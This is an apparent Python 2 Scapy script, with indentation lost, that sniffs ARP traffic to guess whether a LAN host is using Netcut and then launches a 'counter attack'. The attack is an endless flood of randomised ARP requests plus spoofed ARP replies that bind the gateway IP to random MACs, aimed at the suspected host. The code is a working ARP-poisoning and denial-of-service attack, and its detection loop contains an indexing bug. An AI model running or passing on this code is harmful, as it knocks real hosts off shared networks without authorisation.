def detect():
ans = sniff(filter='arp',timeout=7)
target=[]
for r in ans.res:
target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%"))
return target
def preattack(gw_ip):
num = []
count = 0
target = 0
temp = 0
print "Detecting..."
d = detect()
for i in range(len(d)):
if d[i].split()[0] == "255.255.255.255":
num.append(d.count(d[i]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
if d[i].split()[0] == gw_ip:
temp += 1
if len(d) < 7:
print "[-] No one use Netcut or try again"
exit()
if len(num)*7 < temp:
num[:] = []
count = 0
result = float(temp)/len(d)*100
for j in range(len(d)):
if d[i].split()[0] == gw_ip:
num.append(d.count(d[j]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
num.reverse()
result = float(temp)/len(d)*100
print target
else:
num.reverse()
result = float(num[0]+temp)/len(d)*100
print "There is a possibility that " + str(result) + "%"
if result>= 50:
target_mac = d[target].split()[1]
target_ip = d[target].split()[2]
print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac)
attack(target_mac,target_ip,gw_ip)
else:
print "[-] No one use Netcut or try again"
def attack(target_mac,target_ip,gw_ip):
print "[+]Counter Attack !!!"
e = Ether(dst="FF:FF:FF:FF:FF:FF")
while 1:
a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
p = e/a/Padding("\x00"*18)
sendp(p,verbose=0)
a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
p1 = e/a1/Padding("\x00"*18)
sendp(p1,verbose=0)
